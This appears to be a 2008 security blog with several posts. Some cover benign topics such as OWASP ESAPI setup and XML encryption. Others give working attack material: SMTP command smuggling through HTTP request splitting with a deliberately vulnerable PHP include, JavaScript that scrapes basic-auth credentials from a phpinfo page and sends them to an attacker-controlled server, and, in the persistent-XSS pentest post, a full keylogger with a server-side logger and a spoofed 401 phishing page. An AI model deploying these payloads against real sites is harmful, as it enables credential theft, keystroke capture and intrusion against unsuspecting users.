Thursday, March 27, 2008

Smuggling SMTP through open HTTP proxies

We know that Intranet port scanning through open proxies in web apps can lead to information disclosure (leaking what servers are listening on what ports) and even unauthorized access to HTTP applications that are not exposed to the outside world. What I've been trying to figure out over the past couple of days is how much damage can you do to non HTTP applications, like SMTP/POP/FTP/etc. I've come to a few interesting conclusions.

To put it simply, what we are able to do in this situation is open a TCP socket between the web server and the target server, and send the target server an HTTP request. Depending on how the target handles the request, it could keep the socket open or close it immediately. In the case of a connection left open, your web browser/client will hang while the web server also hangs waiting for a proper HTTP response from the target. Eventually, the web server or the target will close the connection and the web server will send a response back to you. If the target closes the connection immediately, you will get an immediate response from the web server.

My goal is to get the target service to actually consume and interpret parts of the HTTP request sent by the web server. In my testing, I focused on SMTP, and I did this for two reasons. First, I already had an SMTP server running. Second, this would be a great way for spammers to hijack open SMTP servers that aren't directly exposed to the internet.

I started testing on Windows Server 2003 first. After sending an HTTP request and looking at the SMTP server logs, it was obvious what was happening. The SMTP server thought each line ending with \r\n was a command, and it generated appropriate errors (500). See below log example:

#Software: Microsoft Internet Information Services 6.0

#Version: 1.0

#Date: 2008-03-26 19:18:06

#Fields: date time c-ip cs-username s-sitename s-computername s-ip s-port cs-method cs-uri-stem cs-uri-query sc-status sc-win32-status sc-bytes cs-bytes time-taken cs-version cs-host cs(User-Agent) cs(Cookie) cs(Referer)

2008-03-26 19:18:06 - SMTPSVC1 SERVERUPLINK1 0 get - +/+HTTP/1.0 500 0 32 24 0 SMTP - - - -

2008-03-26 19:18:06 - SMTPSVC1 SERVERUPLINK1 0 accept: - +*/* 500 0 32 11 0 SMTP - - - -

2008-03-26 19:18:06 - SMTPSVC1 SERVERUPLINK1 0 referer: - +https://spoofedreferrer 500 0 32 84 0 SMTP - - - -

2008-03-26 19:18:06 - SMTPSVC1 SERVERUPLINK1 0 ua-cpu: - +x86 500 0 32 11 0 SMTP - - - -

2008-03-26 19:18:06 - SMTPSVC1 SERVERUPLINK1 0 user-agent: - +Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727) 500 0 32 106 0 SMTP - - - -

2008-03-26 19:18:06 - SMTPSVC1 SERVERUPLINK1 0 host: - + 500 0 32 24 0 SMTP - - - -

2008-03-26 19:18:06 - SMTPSVC1 SERVERUPLINK1 0 connection: - +Keep-Alive 500 0 32 22 0 SMTP - - - -

When I sent this request, the connection stayed open and my browser hung until I restarted the SMTP service. As you can see from the log, the SMTP server looked at each line of the SMTP request as a command. If you can control the HTTP headers of your request, you can send commands to the SMTP server. Control of the request headers can come in a number of ways.
1. Request splitting. Example: HTTP/1.1%0D%0AHELO smtp-server%0D%0AQUIT%0D%0A
2. Some proxies may take all the headers your client sends and include them in the proxied request.

Proof of Concept

#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2008-03-27 00:21:49
#Fields: date time c-ip cs-username s-sitename s-computername s-ip s-port cs-method cs-uri-stem cs-uri-query sc-status sc-win32-status sc-bytes cs-bytes time-taken cs-version cs-host cs(User-Agent) cs(Cookie) cs(Referer)

2008-03-27 00:21:49 - SMTPSVC1 SERVERUPLINK1 0 get - +/MAIL%0D%0A+HTTP/1.0 500 0 32 24 0 SMTP - - - -

2008-03-27 00:21:49 - SMTPSVC1 SERVERUPLINK1 0 accept: - +*/* 500 0 32 11 0 SMTP - - - -

2008-03-27 00:21:49 - SMTPSVC1 SERVERUPLINK1 0 QUIT - - 240 0 62 22 0 SMTP - - - -

dim http

'set http = createobject("Msxml2.XMLHTTP.4.0")
'set http = createobject("Msxml2.ServerXMLHTTP.4.0")
set http = createobject("Msxml2.XMLHTTP")
'set http = createobject("Microsoft.xmlhttp")
'Set http = CreateObject("WinHttp.WinHttpRequest.5.1") "GET", "", false
http.setrequestheader "QUIT xx","serveruplink1" '& vbcrlf & "EHLO"
response.write http.ResponseText

HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 00:21:49 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 241
Content-Type: text/html
Cache-control: private

220 ServerUplink1 Microsoft ESMTP MAIL Service, Version: 6.0.3790.3959 ready at Wed, 26 Mar 2008 19:21:49 -0500
500 5.3.3 Unrecognized command
500 5.3.3 Unrecognized command
221 2.0.0 ServerUplink1 Service closing transmission channel

In the above example, I was able to get the SMTP server to execute the QUIT command, which of course is pretty benign. I haven't gotten any productive commands executing because I haven't been able to gain complete control over the HTTP request. Apparently, WinHTTP guards against request splitting pretty well :-)

I thought I may have some better luck with PHP, so I hooked up the extremely vulnerable PHP script you see below to test with:
print "Hello world!";
include $_GET['mike'];

The PHP include function can be used to execute PHP inline from local or remote resources. That said, calling vulnProxy.php?mike= will generate the below HTTP request:
GET / HTTP/1.1

Since we are sending the request to port 25, the request will be interpreted by sendmail SMTP. Below are some log entries. I like how sendmail has a clue about open proxies :-)

root@mikezusman log]# tail -f maillog
Mar 26 18:20:47 mikezusman sendmail[22438]: m2QFKldb022438: []: probable open proxy: command=GET /_M HTTP/1.0\r\n

Mar 26 18:20:47 mikezusman sendmail[22438]: m2QFKldb022438: [] did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA

Mar 26 19:19:14 mikezusman sendmail[15375]: m2QEu8aC015375: timeout waiting for input from during server cmd read

Mar 26 19:19:14 mikezusman sendmail[15375]: m2QEu8aC015375: [] did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA

Mar 27 00:33:04 mikezusman sendmail[5631]: m2QLX3QR005631: []: probable open proxy: command=GET /_M HTTP/1.0\r\n

Mar 27 00:33:04 mikezusman sendmail[5631]: m2QLX3QR005631: [] did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA

Mar 27 03:33:10 mikezusman sendmail[28294]: m2R0X9Mo028294: []: probable open proxy: command=GET / HTTP/1.0\r\n

I had the same trouble with PHP that I did with ASP and Java. I also tested the above scenarios using the Java HttpUrlConnection object and the results were the same. I couldn't get complete control over the request because of built-in input validation. That's not to say it's impossible - I just haven't figured it out yet.

To conclude, in an open proxy situation, the more control over the server generated HTTP request the user has, the more the user will be able to connect to services other than HTTP. The only roadblock to complete SMTP hijacking was the request splitting mitigation built in to the various connection methods I tested. Perhaps there is a way around them that I'm not aware of. If so, I'd love to know about it ( %0D%0A, \r\n didn't work :-). I also wonder if there are any developers out their who do not use these standard methods of generating HTTP requests. I'm sure it would be pretty difficult to roll-your-own and protect yourself against these splitting attacks.

Monday, March 24, 2008


I've been playing around with the OWASP ESAPI since I volunteered to write some content for the OWASP Java project.

While I always knew that ESAPI was a great concept, now that I've actually used it, I see how robust it is and how much hard work went into it by Jeff Williams and his colleagues.

I like to keep things simple for myself and avoid the use of things like resource intensive IDE's (Eclipse) :-) I just like to write my simple test scripts/programs/servlets in textpad and run/compile things from the command line. That said, getting the ESAPI working took a bit of trial and error.

Once I figured out that I needed to set a system resource in my JRE which points to the location of, I was pretty much rocking and rolling. I progressed pretty easily, and as I ran into more road blocks, I realized these were just more objects that needed to be in the same folder as the properties file - such as users.txt (an adhoc user repository). I guess if I used Eclipse properly, this wouldn't be such a hassle.

But I take pride in the fact that I don't rely on any IDE to get my code to compile.

While I plan on working with ESAPI and writing about it more in the future, here is a basic list of what you need to configure to get ESAPI cooking without any IDE nonsense:

1. Download JAR:

2. Install Tomcat & JDK ( has a great tutorial if you're new to this)
3. Configure environment:

JAVA_HOME=c:\program files\java\jdk1.6.0_05
Path=C:\program files\java\jdk1.6.0_05\bin
CLASSPATH=c:\dev\test;c:\program files\java\jdk1.6.0_05\lib;%CATALINA_HOME%\lib\servlet-api.jar;%CATALINA_HOME%\lib\jsp-api.jar;c:\bin\esapi\owasp-esapi-java-1.1.1.jar

4. Edit catalina.bat to include appropriate start up options in JAVA environment:
set JAVA_OPTS=-Dorg.owasp.esapi.resources="/bin/ESAPI"

5. Place file and users.txt in /bin/ESAPI (or where ever you specify the path to be)

6. Configure some simple servlets that invoke the API (see OWASP ESAPI for some code samples).

Thursday, March 13, 2008

Like Mikey, Internet Explorer will consume anything

Nothing new or too exciting in this post, but I just felt like documenting some IE behavior I've observed.

You might not realize it, but when you visit a web site, you are allowing that site to place all sorts of content on your computer inside your temporary internet cache.
What happens with that content - such as rendering images, launching executables & third party apps, etc - occurs based on decisions your browser makes.

These decisions are based on the content-type of the data sent by the web server, browser security restrictions, and user configurable options such as security zones.
For example, if the content-type of data sent is "image/jpeg", your browser will cache the data and attempt to render it as an image. If the content-type is "application/ms-word", IE will first prompt the user to continue or not. With an affirmative response, IE will cache the file and pass it to Word as a command argument to be opened.

I was curious if I could trick the browser into downloading malicious code without the normal security warnings. The bad news is that this is pretty easy to do. The good news is that it's pretty hard to launch the code! For example, I can configure my web server to respond to a request with a .EXE file and a text/html or image/jpeg content-type. This will cause the browser to download the .EXE, cache it, and attempt to render it in whatever context the HTML specifies.

To check the sanctity of the downloaded .EXE, I attempted to launch it by double-clicking it in the Temporary Internet Files folder within Explorer. Explorer launched IE and tried to render it based on the originally specified content-type. No luck there. Then I just manually copied it out of the temporary folder into c:\. It allowed me to do this, but put a .html extension on the file instead of the original .EXE. So I renamed the copy to .EXE, double clicked it, and it launched.

While this is not horrible on its own, it could help an attacker who already has some access to a target computer and needs a way to get further malware onto the machine. This behavior could possibly allow an attacker to leverage a less severe applet or ActiveX vulnerability allowing you to manipulate client side files into a remote code execution vuln.

This could also be used for malicious purposes in other contexts. Maybe I don't want to execute code on your machine, but I want to frame you by placing questionable content on your system. All I need you to do is visit a web site I control, and then tip-off management that your downloading porn.

Wednesday, March 12, 2008

Web Services Security

I spent the last two days in downtown Manhattan attending Web Services Security training by Gunnar Peterson and TechSmart Solutions Group. It was definitely worth while. I had been of the REST mindset, where I wondered why all the added complexity of web services, WS-Security, SAML, etc, was necessary. I always asked myself why can't we just use HTTP GET's to get things done?

Maybe for some one-off situations REST is fine. But for large scale enterprise deployments, where a given web service request/response may travel over multiple hops, through different organizations, the added complexity has some real value. For example, SAML and federated identity services can make authenticating web service requests across organizational boundaries seamless and reliable. And WS-Security standards for message level encryption allow you to protect the data your trafficking while allowing authorized systems to view message routing information within your SOAP request.

One interesting attack Gunnar speaks about in his training is the "Encrypted Element Known Plain Text Attack". In this attack, if an attacker knows your XSD or DTD , and you encrypt entire XML elements instead of just the data within the element, the attacker can much more easily brute force your encryption.

An example:

<xs:element name="Name"...>
<xs:element name="Username"...>
<xs:element name="Password"...>


In the above situation, the attacker can safely assume that the encrypted value starts with <password> and ends with </password>. I'm no cryptography expert, but I think it is easy to see how this makes the attackers job easier.

In this example, you are better off encrypting less of the XML document, like this:

Now, only the password value is encrypted, and your encrypted data is within the password element. The attacker gets no benefit from knowing your XSD.

XML security can be quite versatile. The above example shows the distinction between encrypting an entire element and encrypting just the data, and how encrypting more than you really need to can actually reduce your overall security. In some situations, you may want to encrypt different elements in your document with different keys, such that different systems can read only the data they need to see within the XML.

In short, all this web service stuff is pretty cool. If you can, definitely enroll in one of Gunnars' classes.

Friday, March 7, 2008

我不得到尊敬 (I get no respect)

Finally, a computer security article on CNN that I enjoyed reading.

However, there is one line in the article bothers me. That line would be when James Mulvenon referred to Chinese hackers who break into sensitive US installations without being sanctioned to do so by the Chinese government as "useful idiots." That's why I ripped off a Rodney Dangerfield line to title this post ;-)

Personally, I understand how easily mis-configured systems and systems running bad code can be compromised. But by saying a bored "idiot" is all it takes to compromise the Pentagon, he is really slamming our own personnel and systems in place to protect these critical assets. In showing disrespect for our adversaries, we basically show disrespect for ourselves.

Thursday, March 6, 2008

Stealing Basic Auth with Persistent XSS - Part 2

I found a better way to steal basic auth credentials using XSS, and it uses the same principal as cross site tracing. Basically, you need to get the web server to reflect either the authorization header or the user credentials in its HTML output. Once the data is accessible in the HTML, you can access it using JavaScript, and by-pass the same origin policy.

The mitigating factor here is that servers don't always conveniently do this for you. Fortunately, many PHP applications, including the one I was testing, will have an arbitrary PHP test page somewhere in the web root. These test pages usually use the php_info() function to display server info and confirm to the admin that the machine is functioning.

Among other server config details, the php_info() method also displays the user name and password of the currently logged in user. Here is one example of this script out in the wild. The source is basically:

Drop that source code into a .php file on your server, protect it with basic auth, and then access the script and enter your creds. Scroll down and you will see your credentials in the HTML output.

When you have an XSS vulnerability, you can use XMLHTTP to request the php info URL, parse out the data, and send it off to a server you control. Below is some sample JavaScript to do just this.

function splitit(stringy) {
var cut = stringy.split(' ');
return cut[0]

function fetch(url) {

var xmlhttp = false;

try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;

if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
xmlhttp = new XMLHttpRequest();
}"GET", xUrl,true);
xmlhttp.onreadystatechange=function() {

if (xmlhttp.readyState==4) {
// return xmlhttp.responseText;
return xmlhttp.responseText;
var resp = fetch('php1.php');
var SplitUser = resp.split('PHP_AUTH_USER"]');
var SplitPass = resp.split('PHP_AUTH_PW"]');
if (SplitUser.length > 1){
var username = splitit(SplitUser[1]);

if (SplitPass.length > 1){
var password = splitit(SplitPass[1]);

document.images[0].src = 'http://yourserver/kl/logger1.asp?key=' + username + '|' + password;

Tuesday, March 4, 2008

Fun with Persistent XSS

For the past few weeks, I've been doing some pen-testing for a friend, after hours. His client is an Internet business with no staging/qa systems, so I was testing production web apps. For one particular app, we did primarily a black box test where I was given only one set of low privileged credentials.

The application contains links to other applications also protected with basic auth, but for which my creds have no access. I needed to get access to these other apps on other servers, since that's where the juicy data was!

After many hours, the only vuln I could find was some persistent cross-site scripting in a user profile management script. I was allowed to create profiles of people which populate a drop down list in the left hand frame of the site. It was in this list that I could inject arbitrary tags. Since the site relied only on the authorization header to grant access, and not a session cookie, cookie theft and session hijacking was not a feasible option.

My payload: <SCRIPT src=""></script>
I used a default file (index.asp) to serve the JS content since I had some space limitations to deal with.

I looked into cross-site tracing to try and steal authorization headers, but I couldn't get it to work with JS or client-side VBScript (XMLHTTP/WINHTTP don't let you use trace). I figured the next best tactic would be to launch some more invasive XSS attacks. After confirming the rules of engagement, I was given the OK to start pwning browsers. Awesome!

My first payload consisted of a JavaScript key logger, as well as some code to track user statistics (IP address, what URLs they're visiting, etc). It's at the bottom of this post. There is a lot I could have done here, but rather than try to compromise clients, I focused on just trying to steal user credentials. All I really wanted was access to other applications linked to from this portal.

Once I deployed the initial payload, I found that at that particular time, there was only one user, and he/she wasn't typing anything in the browser. I wasn't logging any key strokes, but I saw the browser requesting one URL over and over again. The URL was a stats page showing how many customers were converting on one of their web sites :-) (Anyone who has ever run an ecommerce site knows what I'm talking about)

Since I couldn't get the authorization header, there were no cookies, and my user wasn't even typing anything, I figured my best shot would be to phish credentials out of him using a spoofed 401 authentication request. I put a script on my web server that prompted the user for credentials while spoofing the realm that the real server used. Using my XSS payload, I could then redirect the main frame of the users browser to my 401 script whenever I wanted.

Since the page was framed, and did not use HTTPS, it would not be immediately obvious that any of my scripts were hosted elsewhere. The authentication prompt did show my web server IP address, but I hoped the user would not notice this subtle detail. I was relying on the the user to enter their credentials into my spoofed basic auth prompt without a second thought.

I waited for the user to come back and start refreshing the stats page. When they did, I modified my JS payload to start redirecting to my spoofed basic auth page. My script logged whatever authorization header was sent back by the web browser, but it never let the user through. Since I was actively monitoring the attack, I would manually disable it to let user through and hopefully not arouse too much suspicion.

The first attempt yeiled Og==. A base64 encoded semi-colon. Since my script was hosted a different domain, the browser did not initially pre-populate anything, and the user just hit enter to submit a blank username and password. The second attempt got me TkyLjE2OC4xLjIwXGpvaG46, which when decoded, was "\john:". The browser populated the username as the client machine IP and the locally logged on user-name. The user didn't enter a password, and hit submit.

At this point, I was pretty frustrated, so I disabled the 401 prompt, let the user in, and went back to the drawing board. My script was working but the user didn't enter anything. I didn't see a better way to launch this attack, so I just tried a few more times. Eventually, the user entered the same credentials I was initially given to conduct the test. I phished the credentials I already had! They were probably the easiest for the user to obtain, since they had recently been provided to us for the test. Oh well...

My big mistake here was that I assumed the user knew their account credentials. More likely, they entered them once, but checked the box allowing the browser to remember them, so they never had to manually enter them again.

Looking back, rather then attempt to steal credentials, I could have written some JavaScript to proxy HTTP requests to protected resources through this users browser, and send the resulting response data back to me. This would have taken much more time. I'll have to write some code to do that for next time.

Even though I was not completely successful, this was still a fun exercise. It was cool to actually go head to head against one person in real time, and modify my attack on the fly! I don't usually get to do that at my day job...

If anyone has any other ideas on what I could have done differently, feel free to comment. That is, if anyone actually reads this long post. If you still feel like reading, check my code below. Cheers!

JavaScript - not the prettiest, but it got the job done!
<% response.contenttype="text/javascript" %>

function keylogger(e){
document.images[0].src = "http://xxxxxxx/k/logger.asp?key=" + e.keyCode + "&ccookie=" + document.cookie;
document.images[0].src = "http://xxxxxxxx/k/logger.asp?key=0&ccookie=BEGIN" + document.cookie;

var browser=navigator.appName;
var b_version=navigator.appVersion;
var version=parseFloat(b_version);
if ((browser=="Microsoft Internet Explorer")&& (version>=4)){
var keylog='';
document.onkeypress = function () {
k = window.event.keyCode;
//window.status = keylog += String.fromCharCode(k) + '[' + k +']';
document.images[0].src = "http://xxxxxxxxxx/k/logger.asp?key=" + k + "&ccookie=" + document.cookie;
parent.frames[1].document.onkeypress = function () {
k = parent.frames[1].window.event.keyCode;
//window.status = keylog += String.fromCharCode(k) + '[' + k +']';
document.images[0].src = "http://xxxxxxxxx/k/logger.asp?key=" + k + "&ccookie=" + document.cookie;
document.body.addEventListener("keyup", keylogger, false);
parent.frames[1].document.body.addEventListener("keyup", keylogger, false);
// parent.frames[1].document.location = "http://xxxxxxxxxxx/k/auth.asp";
document.images[0].src = "http://xxxxxxxx/k/logger.asp?key=0&ccookie=END" + document.cookie + "%20" + parent.frames[1].document.location.href;

strKey = request("key")
httpReferrer = request.servervariables("HTTP_REFERER")
httpCookie = request("ccookie")
x= Logit("d:\logs\keylogger.txt", chr(strKey) & vbtab & httpReferrer &vbtab & httpCookie)

function Logit(strOutputFile, strOutPut)
Dim objFSO, objOutputFile
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objOutputFile = objFSO.OpenTextFile(strOutputFile, 8, True)
objOutputFile.Write now() & vbtab & strOutPut & vbCrLf
Set objFSO = Nothing
Set objOutputFile = Nothing
end function %>

Auth.asp - Modified to send the user where they want to go after they submit creds.
function Logit(strOutputFile, strOutPut)
Dim objFSO, objOutputFile
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objOutputFile = objFSO.OpenTextFile(strOutputFile, 8, True)
objOutputFile.Write now() & vbtab & strOutPut & vbCrLf
Set objFSO = Nothing
Set objOutputFile = Nothing
end function

if instr(request.servervariables("ALL_RAW"), "Authorization:") <=0 then x= Logit("d:\logs\credlogger.txt", request.servervariables("ALL_RAW")) response.status = 401 response.addheader "WWW-Authenticate", "Basic realm=""Spoofin yo realmz!""" response.addheader "Server", "Apache/1.3.20 (Unix) PHP/4.2.2" else x= Logit("d:\logs\credlogger.txt", request.servervariables("ALL_RAW")) %>
document.location.href="http://where the user wants to go";
<% end if %>